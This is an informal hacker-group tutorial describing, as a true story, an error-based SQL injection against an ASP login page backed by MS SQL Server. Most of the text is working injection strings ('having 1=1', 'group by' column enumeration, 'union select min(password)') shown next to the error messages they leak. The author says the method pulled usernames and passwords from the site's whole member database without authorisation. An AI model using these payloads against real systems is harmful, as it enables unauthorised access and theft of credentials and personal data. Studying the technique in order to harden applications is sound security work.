Error based SQL Injection – a true story

By AnalyseR – GHS – Greek Hacking Scene

alienyser@gmail.com

Hi again.. This is about error based sql injection. Wtf is that? It means that we use the database's errors as footholds to step further. In this example i will use the process i used a couple of months ago to bypass a login prompt and get the whole member's (with passwords) database... I won't reveal any passwords or emails, they will be real but covered with asterisks for the reasons you know very well... So, here is our scenario.

You are in front of a login prompt that looks like this "**/Administrator/login.asp**". You need at least one username and its password. Allright, brute forcing is n00b, so we'll try SQL Injection. Since we talk about ERROR BASED sql injection, i won't cover the basics or the syntax here.. I suppose you have some basic knowledge. We start our "attack", so to speak, with a "having" clause in the username field for example (just type any letter for password, or just a dot). Like this one: **' having 1=1 --**

...and after a while...

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
***'login.primarykey'** is invalid in the select list because it is not*
contained in an aggregate function and there is no GROUP BY clause.
/Administrator/login.asp, line 27

boom...

We got our first error. Very very nice. As you can see, the first error we have here reveals our first foothold ;) login.primarykey is exactly what we need. A table name (login) and a column name (primarykey)... We continue our "attack" using the "GROUP BY" sql clause... Hmmm it'll look just like this: **' group by login.primarykey having 1=1 --**

Hit ENTER and...

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'**login.username**' is invalid in the select list because it is not
contained in either an aggregate function or the GROUP BY
clause.
/Administrator/login.asp, line 27

Yeah :) that's right, we've found another column name and guess what... it's called "username". So, we continue the same way from now on to reveal all the column names in that table (login, remember?) For example the next step should be:
'group by login.primarykey, username having 1=1 --

...so simple...

Once again, we continue that way until a NORMAL looking page appears.
'**group by TABLE_NAME.COLUMN1, COLUMN2, COLUMN3 having 1=1 --**
It's pretty easy i think. You don't need to do that with all columns if you need just a username and password, but you can have emails, credit cards, real names and other useful stuff that way. So the next step is to get a username and a password. AGAIN you can request any content you want but here we need the stuff above. Let's talk about it. If you know any specific username go on and ask for its password. But if you DON'T know any, you'll do probably what i did. I tried to find a username in the “username” column (the minimum actually) that is GRATER than “a”. This could be “admin” or something (it's not, in this example but the user has admin rights). I did that with the following injection: **' union select min(username),1,1,1,1 from login where username > 'a'--**

If you don't know what the numbers are for, read some sql. So after you fire up this injection you must have one more error back as a result. The first username that is GRATER than just “a”. And yes you'll get something like that ;)

> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '**ab***ilr**' to a column of data type int.
> /Administrator/login.asp, line 27

Here it is! A username!!! (Covered with asterisks of course)
Now... we have a valid username, what about the password? Let's find out...
'union select min(password),1,1,1,1 from login where username = 'ab*ilr'--**

> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '**ar***all**' to a column of data type int.
> /Administrator/login.asp, line 27

Here is the password you are looking for ;)
Enjoy, have fun and don't be stupid and distractive.
Cheers,
AnalyseR